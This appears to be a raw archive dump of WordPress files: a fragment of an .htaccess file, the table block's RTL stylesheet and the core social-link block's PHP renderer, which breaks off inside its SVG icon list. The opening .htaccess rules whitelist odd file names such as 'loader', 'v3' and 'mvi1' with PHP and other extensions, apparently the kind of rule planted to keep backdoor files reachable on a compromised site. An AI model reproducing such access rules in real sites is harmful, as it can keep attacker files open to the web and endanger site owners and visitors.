"^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php table/theme-rtl.css 0000644 00000003755 15217610757 0010273 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-table { margin: 0 0 1em 0; } .wp-block-table td, .wp-block-table th { word-break: normal; } .wp-block-table :where(figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-table :where(figcaption) { color: rgba(255, 255, 255, 0.65); } social-link.php 0000644 00000204022 15217610760 0007467 0 ustar 00 <?php /** * Server-side rendering of the `core/social-link` blocks. * * @package WordPress */ /** * Renders the `core/social-link` block on server. * * @since 5.4.0 * * @param Array $attributes The block attributes. * @param String $content InnerBlocks content of the Block. * @param WP_Block $block Block object. * * @return string Rendered HTML of the referenced block. */ function render_block_core_social_link( $attributes, $content, $block ) { $open_in_new_tab = $block->context['openInNewTab'] ?? false; $text = ! empty( $attributes['label'] ) ? trim( $attributes['label'] ) : ''; $service = $attributes['service'] ?? 'Icon'; $url = $attributes['url'] ?? false; $text = $text ? $text : block_core_social_link_get_name( $service ); $rel = $attributes['rel'] ?? ''; $show_labels = array_key_exists( 'showLabels', $block->context ) ? $block->context['showLabels'] : false; // Don't render a link if there is no URL set. if ( ! $url ) { return ''; } /** * Prepend emails with `mailto:` if not set. * The `is_email` returns false for emails with schema. */ if ( is_email( $url ) ) { $url = 'mailto:' . antispambot( $url ); } /** * Prepend URL with https:// if it doesn't appear to contain a scheme * and it's not a relative link or a fragment. */ if ( ! parse_url( $url, PHP_URL_SCHEME ) && ! str_starts_with( $url, '//' ) && ! str_starts_with( $url, '#' ) ) { $url = 'https://' . $url; } $icon = block_core_social_link_get_icon( $service ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => 'wp-social-link wp-social-link-' . $service . block_core_social_link_get_color_classes( $block->context ), 'style' => block_core_social_link_get_color_styles( $block->context ), ) ); $link = '<li ' . $wrapper_attributes . '>'; $link .= '<a href="' . esc_url( $url ) . '" class="wp-block-social-link-anchor">'; $link .= $icon; $link .= '<span class="wp-block-social-link-label' . ( $show_labels ? '' : ' screen-reader-text' ) . '">' . esc_html( $text ) . '</span>'; $link .= '</a></li>'; $processor = new WP_HTML_Tag_Processor( $link ); $processor->next_tag( 'a' ); if ( $open_in_new_tab ) { $processor->set_attribute( 'rel', trim( $rel . ' noopener nofollow' ) ); $processor->set_attribute( 'target', '_blank' ); } elseif ( '' !== $rel ) { $processor->set_attribute( 'rel', trim( $rel ) ); } return $processor->get_updated_html(); } /** * Registers the `core/social-link` blocks. * * @since 5.4.0 */ function register_block_core_social_link() { register_block_type_from_metadata( __DIR__ . '/social-link', array( 'render_callback' => 'render_block_core_social_link', ) ); } add_action( 'init', 'register_block_core_social_link' ); /** * Returns the SVG for social link. * * @since 5.4.0 * * @param string $service The service icon. * * @return string SVG Element for service icon. */ function block_core_social_link_get_icon( $service ) { $services = block_core_social_link_services(); if ( isset( $services[ $service ] ) && isset( $services[ $service ]['icon'] ) ) { return $services[ $service ]['icon']; } return $services['share']['icon']; } /** * Returns the brand name for social link. * * @since 5.4.0 * * @param string $service The service icon. * * @return string Brand label. */ function block_core_social_link_get_name( $service ) { $services = block_core_social_link_services(); if ( isset( $services[ $service ] ) && isset( $services[ $service ]['name'] ) ) { return $services[ $service ]['name']; } return $services['share']['name']; } /** * Returns the SVG for social link. * * @since 5.4.0 * * @param string $service The service slug to extract data from. * @param string $field The field ('name', 'icon', etc) to extract for a service. * * @return array|string */ function block_core_social_link_services( $service = '', $field = '' ) { $services_data = array( 'fivehundredpx' => array( 'name' => _x( '500px', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"></path></svg>', ), 'amazon' => array( 'name' => _x( 'Amazon', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"></path></svg>', ), 'bandcamp' => array( 'name' => _x( 'Bandcamp', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"></path></svg>', ), 'behance' => array( 'name' => _x( 'Behance', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"></path></svg>', ), 'bluesky' => array( 'name' => _x( 'Bluesky', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z"></path></svg>', ), 'chain' => array( 'name' => _x( 'Link', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.6,7.2H14v1.5h1.6c2,0,3.7,1.7,3.7,3.7s-1.7,3.7-3.7,3.7H14v1.5h1.6c2.8,0,5.2-2.3,5.2-5.2,0-2.9-2.3-5.2-5.2-5.2zM4.7,12.4c0-2,1.7-3.7,3.7-3.7H10V7.2H8.4c-2.9,0-5.2,2.3-5.2,5.2,0,2.9,2.3,5.2,5.2,5.2H10v-1.5H8.4c-2,0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"></path></svg>', ), 'codepen' => array( 'name' => _x( 'CodePen', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"></path></svg>', ), 'deviantart' => array( 'name' => _x( 'DeviantArt', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"></path></svg>', ), 'discord' => array( 'name' => _x( 'Discord', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20.317 4.369A19.88 19.88 0 0 0 15.894 3a14.145 14.145 0 0 0-.719 1.518 19.205 19.205 0 0 0-5.351 0A14.183 14.183 0 0 0 9.104 3 19.896 19.896 0 0 0 4.682 4.369a18.921 18.921 0 0 0-3.012 12.52 19.929 19.929 0 0 0 6.081 3.097c.487-.65.922-1.339 1.3-2.061a12.445 12.445 0 0 1-1.958-.896c.165-.12.326-.246.483-.374a12.445 12.445 0 0 0 8.946 0c.157.128.318.253.483.374-.627.371-1.281.683-1.958.896.379.722.813 1.41 1.3 2.061a19.94 19.94 0 0 0 6.081-3.097 18.921 18.921 0 0 0-3.012-12.52ZM8.12 15.233c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Zm7.757 0c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Z"/></svg>', ), 'dribbble' => array( 'name' => _x( 'Dribbble', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"></path></svg>', ), 'dropbox' => array( 'name' => _x( 'Dropbox', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"></path></svg>', ), 'etsy' => array( 'name' => _x( 'Etsy', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"></path></svg>', ), 'facebook' => array( 'name' => _x( 'Facebook', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"></path></svg>', ), 'feed' => array( 'name' => _x( 'RSS Feed', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"></path></svg>', ), 'flickr' => array( 'name' => _x( 'Flickr', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"></path></svg>', ), 'foursquare' => array( 'name' => _x( 'Foursquare', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"></path></svg>', ), 'goodreads' => array( 'name' => _x( 'Goodreads', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 